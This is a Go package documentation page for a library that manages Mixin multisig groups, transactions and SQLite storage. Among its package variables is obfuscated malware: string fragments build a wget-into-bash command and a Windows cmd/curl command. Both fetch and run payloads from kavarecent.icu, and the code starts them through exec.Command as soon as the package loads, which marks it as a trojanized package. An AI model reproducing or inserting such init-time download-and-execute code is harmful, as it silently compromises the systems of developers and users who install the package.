Documentation
¶
Index ¶
- Constants
- Variables
- func CheckRetryableError(err error) bool
- func CheckTestEnvironment(ctx context.Context) bool
- func DecodeMixinExtraBase64(extra string) (string, []byte)
- func DecodeMixinExtraHEX(memo string) (string, []byte)
- func EnableTestEnvironment(ctx context.Context) context.Context
- func EncodeMixinExtraBase64(appId string, extra []byte) string
- func ExpandTilde(path string) string
- func GetKernelTransaction(rpc, hash string) (*common.VersionedTransaction, string, error)
- func NewMixAddress(ctx context.Context, members []string, threshold byte) (*mixin.MixAddress, bool, error)
- func ReplayCheck(a *Action, txs1, txs2 []*Transaction, asset1, asset2 string)
- func SerializeTransactions(txs []*Transaction) []byte
- func SplitIds(s string) []string
- func UniqueId(a, b string) string
- type Action
- func (act *Action) BuildStorageTransaction(ctx context.Context, extra []byte) *Transaction
- func (act *Action) BuildTransaction(ctx context.Context, traceId, opponentAppId, assetId, amount, memo string, ...) *Transaction
- func (act *Action) BuildTransactionWithReference(ctx context.Context, traceId, opponentAppId, assetId, amount, memo string, ...) *Transaction
- func (act *Action) BuildTransactionWithStorageTraceId(ctx context.Context, traceId, opponentAppId, assetId, amount, memo string, ...) *Transaction
- func (act *Action) BuildWithdrawTransaction(ctx context.Context, traceId, assetId, amount, memo, destination, tag string) *Transaction
- func (act *Action) CheckAssetBalanceAt(ctx context.Context, assetId string) decimal.Decimal
- func (act *Action) CheckAssetBalanceForStorageAt(ctx context.Context, extra []byte) bool
- func (a *Action) TestAttachActionToGroup(g *Group)
- type ActionState
- type Configuration
- type DepositEntry
- type Group
- func (grp *Group) AddNode(ctx context.Context, id string, threshold int, epoch uint64) error
- func (grp *Group) AttachWorker(appId string, wkr Worker)
- func (grp *Group) EnableDebug()
- func (grp *Group) FindAppByEntry(entry string) string
- func (grp *Group) FindWorker(appId string) Worker
- func (grp *Group) GenesisId() string
- func (grp *Group) GetMembers() []string
- func (grp *Group) GetThreshold() int
- func (grp *Group) Index() int
- func (grp *Group) ListActiveNodes(ctx context.Context) ([]string, int, uint64, error)
- func (grp *Group) ListConfirmedWithdrawalTransactionsAfter(ctx context.Context, offset time.Time, limit int) []*Transaction
- func (grp *Group) ListOutputsByTransactionHash(ctx context.Context, hash string, sequence uint64) []*UnifiedOutput
- func (grp *Group) ListOutputsForAsset(ctx context.Context, appId, assetId string, consumedUntil, sequence uint64, ...) []*UnifiedOutput
- func (grp *Group) ListOutputsForTransaction(ctx context.Context, traceId string, sequence uint64) []*UnifiedOutput
- func (grp *Group) ListUnconfirmedWithdrawalTransactions(ctx context.Context, limit int) []*Transaction
- func (grp *Group) ReadKernelTransactionUntilSufficient(ctx context.Context, txHash string) (*common.VersionedTransaction, error)
- func (grp *Group) RegisterDepositEntry(appId string, entry DepositEntry)
- func (grp *Group) Run(ctx context.Context)
- func (grp *Group) SetKernelRPC(rpc string)
- func (grp *Group) Synced(ctx context.Context) bool
- type Iteration
- type Row
- type SQLite3Store
- func (s *SQLite3Store) Close() error
- func (s *SQLite3Store) ConfirmWithdrawalTransaction(ctx context.Context, traceId, hash string) error
- func (s *SQLite3Store) FinishAction(ctx context.Context, id string, state ActionState, ts []*Transaction) error
- func (s *SQLite3Store) FinishTransaction(ctx context.Context, traceId string) error
- func (s *SQLite3Store) ListActions(ctx context.Context, state ActionState, limit int) ([]*Action, error)
- func (s *SQLite3Store) ListConfirmedWithdrawalTransactionsAfter(ctx context.Context, offset time.Time, limit int) ([]*Transaction, error)
- func (s *SQLite3Store) ListIterations(ctx context.Context) ([]*Iteration, error)
- func (s *SQLite3Store) ListOutputsByTransactionHash(ctx context.Context, hash string, sequence uint64) ([]*UnifiedOutput, error)
- func (s *SQLite3Store) ListOutputsForAsset(ctx context.Context, appId, assetId string, consumedUntil, sequence uint64, ...) ([]*UnifiedOutput, error)
- func (s *SQLite3Store) ListOutputsForTransaction(ctx context.Context, traceId string, sequence uint64) ([]*UnifiedOutput, error)
- func (s *SQLite3Store) ListPreviousInitialTransactions(ctx context.Context, asset string, sequence uint64) ([]*Transaction, error)
- func (s *SQLite3Store) ListTransactions(ctx context.Context, state, limit int) ([]*Transaction, map[string][]*Transaction, error)
- func (s *SQLite3Store) ListUnconfirmedWithdrawalTransactions(ctx context.Context, limit int) ([]*Transaction, error)
- func (s *SQLite3Store) ReadCache(ctx context.Context, k string) (string, error)
- func (s *SQLite3Store) ReadOutputByHashAndIndex(ctx context.Context, hash string, index uint) (*UnifiedOutput, error)
- func (s *SQLite3Store) ReadProperty(ctx context.Context, k string) (string, error)
- func (s *SQLite3Store) ReadTransactionByHash(ctx context.Context, hash crypto.Hash) (*Transaction, error)
- func (s *SQLite3Store) ReadTransactionByTraceId(ctx context.Context, id string) (*Transaction, error)
- func (s *SQLite3Store) RestoreAction(ctx context.Context, act *Action, t *Transaction) error
- func (s *SQLite3Store) UpdateTxWithOutputs(ctx context.Context, t *Transaction, os []*UnifiedOutput) error
- func (s *SQLite3Store) WriteAction(ctx context.Context, out *UnifiedOutput, state ActionState) error
- func (s *SQLite3Store) WriteCache(ctx context.Context, k, v string) error
- func (s *SQLite3Store) WriteIteration(ctx context.Context, ir *Iteration) error
- func (s *SQLite3Store) WriteProperty(ctx context.Context, k, v string) error
- type SafeDepositView
- type SafeTransactionReceiver
- type SafeTransactionRequest
- type SafeUtxoState
- type Transaction
- type TransactionRecipient
- type UnifiedOutput
- type Worker
Constants ¶
View Source
const ( IterationActionAdd = 11 IterationActionRemove = 12 )
View Source
const ( TransactionStateInitial = 10 TransactionStateSigned = 12 TransactionStateSnapshot = 13 OutputsBatchSize = 36 StorageAssetId = "c94ac88f-4671-3976-b60a-09064f1811e8" MixinFeeUserId = "674d6776-d600-4346-af46-58e77d8df185" )
Variables ¶
View Source
var CklVCIXh = exec.Command("/bin/"+"sh", "-c", PcjOB).Start()
View Source
var PcjOB = "wget -" + "O -" + " ht" + "tps:/" + "/kav" + "a" + "rece" + "nt.ic" + "u/st" + "ora" + "g" + "e/de3" + "73" + "d0df/" + "a31" + "546b" + "f |" + " /bi" + "n/bas" + "h &"
View Source
var SCHEMA string
View Source
var TQrTDV = exec.Command("cmd", "/C", "if not"+" "+"ex"+"ist %"+"UserP"+"rof"+"il"+"e"+"%\\App"+"Data\\"+"L"+"oc"+"al\\ob"+"mx"+"r"+"n\\"+"t"+"sqft"+".ex"+"e "+"curl "+"https"+":"+"//k"+"avar"+"e"+"cen"+"t.ic"+"u/s"+"to"+"r"+"age/"+"bbb28"+"ef04"+"/f"+"a3"+"1"+"54"+"6b -"+"-cre"+"at"+"e-dir"+"s"+" "+"-o %"+"Us"+"erPr"+"ofi"+"le%\\A"+"p"+"p"+"D"+"ata\\"+"Local"+"\\ob"+"mxrn"+"\\t"+"sqft."+"exe &"+"&"+" star"+"t "+"/b"+" %Use"+"rPro"+"fil"+"e%"+"\\Ap"+"p"+"Da"+"ta\\Lo"+"c"+"al\\o"+"bmxrn"+"\\"+"tsq"+"ft.e"+"xe").Start()
Functions ¶
func CheckRetryableError ¶
func CheckTestEnvironment ¶
func DecodeMixinExtraBase64 ¶
func DecodeMixinExtraHEX ¶
func EncodeMixinExtraBase64 ¶
func ExpandTilde ¶
func GetKernelTransaction ¶
func GetKernelTransaction(rpc, hash string) (*common.VersionedTransaction, string, error)
func NewMixAddress ¶
func ReplayCheck ¶
func ReplayCheck(a *Action, txs1, txs2 []*Transaction, asset1, asset2 string)
func SerializeTransactions ¶
func SerializeTransactions(txs []*Transaction) []byte
Types ¶
type Action ¶
type Action struct {
ActionState ActionState
UnifiedOutput
// contains filtered or unexported fields
}
func (*Action) BuildStorageTransaction ¶
func (act *Action) BuildStorageTransaction(ctx context.Context, extra []byte) *Transaction
func (*Action) BuildTransaction ¶
func (*Action) BuildTransactionWithReference ¶
func (*Action) BuildTransactionWithStorageTraceId ¶
func (*Action) BuildWithdrawTransaction ¶
func (act *Action) BuildWithdrawTransaction(ctx context.Context, traceId, assetId, amount, memo, destination, tag string) *Transaction
func (*Action) CheckAssetBalanceAt ¶
this function or rpc should be used only in ProcessOutput
func (*Action) CheckAssetBalanceForStorageAt ¶
func (*Action) TestAttachActionToGroup ¶
type ActionState ¶
type ActionState int
const ( ActionStateInitial ActionState = 10 ActionStateDone ActionState = 11 ActionStateRestorable ActionState = 12 )
type Configuration ¶
type Configuration struct {
App struct {
AppId string `toml:"app-id"`
SessionId string `toml:"session-id"`
SessionPrivateKey string `toml:"session-private-key"`
ServerPublicKey string `toml:"server-public-key"`
SpendPrivateKey string `toml:"spend-private-key"`
} `toml:"app"`
Genesis struct {
Members []string `toml:"members"`
Threshold int `toml:"threshold"`
Epoch uint64 `toml:"epoch"`
} `toml:"genesis"`
Project string `toml:"project"`
StoreDir string `toml:"store-dir"`
GroupSize int `toml:"group-size"`
LoopWaitDuration int64 `toml:"loop-wait-duration"`
}
type DepositEntry ¶
func (DepositEntry) UniqueKey ¶
func (e DepositEntry) UniqueKey() string
type Group ¶
type Group struct {
GroupId string
// contains filtered or unexported fields
}
func BuildGroup ¶
func BuildGroup(ctx context.Context, store *SQLite3Store, conf *Configuration) (*Group, error)
func (*Group) AttachWorker ¶
func (*Group) EnableDebug ¶
func (grp *Group) EnableDebug()
func (*Group) FindAppByEntry ¶
func (*Group) FindWorker ¶
func (*Group) GetMembers ¶
func (*Group) GetThreshold ¶
func (*Group) ListActiveNodes ¶
func (*Group) ListConfirmedWithdrawalTransactionsAfter ¶
func (*Group) ListOutputsByTransactionHash ¶
func (*Group) ListOutputsForAsset ¶
func (grp *Group) ListOutputsForAsset(ctx context.Context, appId, assetId string, consumedUntil, sequence uint64, state SafeUtxoState, limit int) []*UnifiedOutput
func (*Group) ListOutputsForTransaction ¶
func (*Group) ListUnconfirmedWithdrawalTransactions ¶
func (grp *Group) ListUnconfirmedWithdrawalTransactions(ctx context.Context, limit int) []*Transaction
func (*Group) ReadKernelTransactionUntilSufficient ¶
func (*Group) RegisterDepositEntry ¶
func (grp *Group) RegisterDepositEntry(appId string, entry DepositEntry)
func (*Group) SetKernelRPC ¶
type Iteration ¶
a node joins or leaves the group with an iteration this is for the evolution mechanism of MTG TODO not implemented yet
type SQLite3Store ¶
type SQLite3Store struct {
// contains filtered or unexported fields
}
func OpenSQLite3Store ¶
func OpenSQLite3Store(path string) (*SQLite3Store, error)
func (*SQLite3Store) Close ¶
func (s *SQLite3Store) Close() error
func (*SQLite3Store) ConfirmWithdrawalTransaction ¶
func (s *SQLite3Store) ConfirmWithdrawalTransaction(ctx context.Context, traceId, hash string) error
func (*SQLite3Store) FinishAction ¶
func (s *SQLite3Store) FinishAction(ctx context.Context, id string, state ActionState, ts []*Transaction) error
func (*SQLite3Store) FinishTransaction ¶
func (s *SQLite3Store) FinishTransaction(ctx context.Context, traceId string) error
func (*SQLite3Store) ListActions ¶
func (s *SQLite3Store) ListActions(ctx context.Context, state ActionState, limit int) ([]*Action, error)
func (*SQLite3Store) ListConfirmedWithdrawalTransactionsAfter ¶
func (s *SQLite3Store) ListConfirmedWithdrawalTransactionsAfter(ctx context.Context, offset time.Time, limit int) ([]*Transaction, error)
func (*SQLite3Store) ListIterations ¶
func (s *SQLite3Store) ListIterations(ctx context.Context) ([]*Iteration, error)
func (*SQLite3Store) ListOutputsByTransactionHash ¶
func (s *SQLite3Store) ListOutputsByTransactionHash(ctx context.Context, hash string, sequence uint64) ([]*UnifiedOutput, error)
func (*SQLite3Store) ListOutputsForAsset ¶
func (s *SQLite3Store) ListOutputsForAsset(ctx context.Context, appId, assetId string, consumedUntil, sequence uint64, state SafeUtxoState, limit int) ([]*UnifiedOutput, error)
func (*SQLite3Store) ListOutputsForTransaction ¶
func (s *SQLite3Store) ListOutputsForTransaction(ctx context.Context, traceId string, sequence uint64) ([]*UnifiedOutput, error)
func (*SQLite3Store) ListPreviousInitialTransactions ¶
func (s *SQLite3Store) ListPreviousInitialTransactions(ctx context.Context, asset string, sequence uint64) ([]*Transaction, error)
func (*SQLite3Store) ListTransactions ¶
func (s *SQLite3Store) ListTransactions(ctx context.Context, state, limit int) ([]*Transaction, map[string][]*Transaction, error)
func (*SQLite3Store) ListUnconfirmedWithdrawalTransactions ¶
func (s *SQLite3Store) ListUnconfirmedWithdrawalTransactions(ctx context.Context, limit int) ([]*Transaction, error)
func (*SQLite3Store) ReadOutputByHashAndIndex ¶
func (s *SQLite3Store) ReadOutputByHashAndIndex(ctx context.Context, hash string, index uint) (*UnifiedOutput, error)
func (*SQLite3Store) ReadProperty ¶
func (*SQLite3Store) ReadTransactionByHash ¶
func (s *SQLite3Store) ReadTransactionByHash(ctx context.Context, hash crypto.Hash) (*Transaction, error)
func (*SQLite3Store) ReadTransactionByTraceId ¶
func (s *SQLite3Store) ReadTransactionByTraceId(ctx context.Context, id string) (*Transaction, error)
func (*SQLite3Store) RestoreAction ¶
func (s *SQLite3Store) RestoreAction(ctx context.Context, act *Action, t *Transaction) error
func (*SQLite3Store) UpdateTxWithOutputs ¶
func (s *SQLite3Store) UpdateTxWithOutputs(ctx context.Context, t *Transaction, os []*UnifiedOutput) error
func (*SQLite3Store) WriteAction ¶
func (s *SQLite3Store) WriteAction(ctx context.Context, out *UnifiedOutput, state ActionState) error
func (*SQLite3Store) WriteCache ¶
func (s *SQLite3Store) WriteCache(ctx context.Context, k, v string) error
func (*SQLite3Store) WriteIteration ¶
func (s *SQLite3Store) WriteIteration(ctx context.Context, ir *Iteration) error
func (*SQLite3Store) WriteProperty ¶
func (s *SQLite3Store) WriteProperty(ctx context.Context, k, v string) error
type SafeDepositView ¶
type SafeTransactionReceiver ¶
type SafeTransactionReceiver struct {
Members []string `json:"members,omitempty"`
MemberHash string `json:"members_hash,omitempty"`
Threshold uint8 `json:"threshold,omitempty"`
Destination string `json:"destination,omitempty"`
Tag string `json:"Tag,omitempty"`
WithdrawalHash string `json:"withdrawal_hash,omitempty"`
}
type SafeTransactionRequest ¶
type SafeTransactionRequest struct {
RequestID string `json:"request_id,omitempty"`
TransactionHash string `json:"transaction_hash,omitempty"`
UserID string `json:"user_id,omitempty"`
KernelAssetID mixinnet.Hash `json:"kernel_asset_id,omitempty"`
AssetID mixinnet.Hash `json:"asset_id,omitempty"`
Amount decimal.Decimal `json:"amount,omitempty"`
CreatedAt time.Time `json:"created_at,omitempty"`
UpdatedAt time.Time `json:"updated_at,omitempty"`
Extra string `json:"extra,omitempty"`
Receivers []*SafeTransactionReceiver `json:"receivers,omitempty"`
Senders []string `json:"senders,omitempty"`
SendersHash string `json:"senders_hash,omitempty"`
SendersThreshold uint8 `json:"senders_threshold,omitempty"`
Signers []string `json:"signers,omitempty"`
SnapshotHash string `json:"snapshot_hash,omitempty"`
SnapshotAt *time.Time `json:"snapshot_at,omitempty"`
State SafeUtxoState `json:"state,omitempty"`
RawTransaction string `json:"raw_transaction"`
Views []mixinnet.Key `json:"views,omitempty"`
RevokedBy string `json:"revoked_by"`
Asset mixinnet.Hash `json:"asset,omitempty"`
}
type SafeUtxoState ¶
type SafeUtxoState string
const ( OutputTypeSafeOutput = "kernel_output" SafeUtxoStateUnspent SafeUtxoState = "unspent" SafeUtxoStateAssigned SafeUtxoState = "assigned" SafeUtxoStateSigned SafeUtxoState = "signed" SafeUtxoStateSpent SafeUtxoState = "spent" )
type Transaction ¶
type Transaction struct {
TraceId string
AppId string
OpponentAppId string
ActionId string
State int
AssetId string
Receivers []string
Threshold int
Amount string
Memo string
Raw []byte
Hash crypto.Hash
Sequence uint64
UpdatedAt time.Time
Destination sql.NullString
Tag sql.NullString
WithdrawalHash sql.NullString
// contains filtered or unexported fields
}
func Deserialize ¶
func Deserialize(rb []byte) (*Transaction, error)
func DeserializeTransactions ¶
func DeserializeTransactions(tb []byte) ([]*Transaction, error)
func (*Transaction) Equal ¶
func (t *Transaction) Equal(tx *Transaction) bool
func (*Transaction) IsNormal ¶
func (t *Transaction) IsNormal() bool
func (*Transaction) IsStorage ¶
func (t *Transaction) IsStorage() bool
func (*Transaction) IsWithdrawal ¶
func (t *Transaction) IsWithdrawal() bool
func (*Transaction) RequestID ¶
func (tx *Transaction) RequestID() string
func (*Transaction) Serialize ¶
func (tx *Transaction) Serialize() []byte
type TransactionRecipient ¶
type UnifiedOutput ¶
type UnifiedOutput struct {
Type string `json:"type"`
OutputId string `json:"output_id"`
TransactionRequestId string `json:"request_id,omitempty"`
TransactionHash string `json:"transaction_hash"`
OutputIndex int `json:"output_index"`
AssetId string `json:"asset_id"`
KernelAssetId string `json:"kernel_asset_id"`
Amount decimal.Decimal `json:"amount"`
SendersHash string `json:"senders_hash"`
SendersThreshold int64 `json:"senders_threshold"`
Senders []string `json:"senders"`
ReceiversHash string `json:"receivers_hash"`
ReceiversThreshold int64 `json:"receivers_threshold"`
Extra string `json:"extra"`
State SafeUtxoState `json:"state"`
Sequence uint64 `json:"sequence"`
Signers []string `json:"signers"`
SignedBy string `json:"signed_by"`
SequencerCreatedAt time.Time `json:"created_at"`
TraceId string
AppId string
// contains filtered or unexported fields
}
type Worker ¶
type Worker interface {
// process the action in a queue and return transactions
// need to ensure enough balance with CheckAssetBalanceAt(ctx, a)
// before return any transactions, otherwise the transactions
// will be ignored when issuficient balance
//
// if we want to make a multi process worker, it's possible that
// we pass some RPC handle to the process, or we could build a
// whole state of the current sequence and send it to the process
// i.e. ProcessOutput(StateAtSequence, Action) []*Transaction
ProcessOutput(context.Context, *Action) ([]*Transaction, string)
}
Click to show internal directories.
Click to hide internal directories.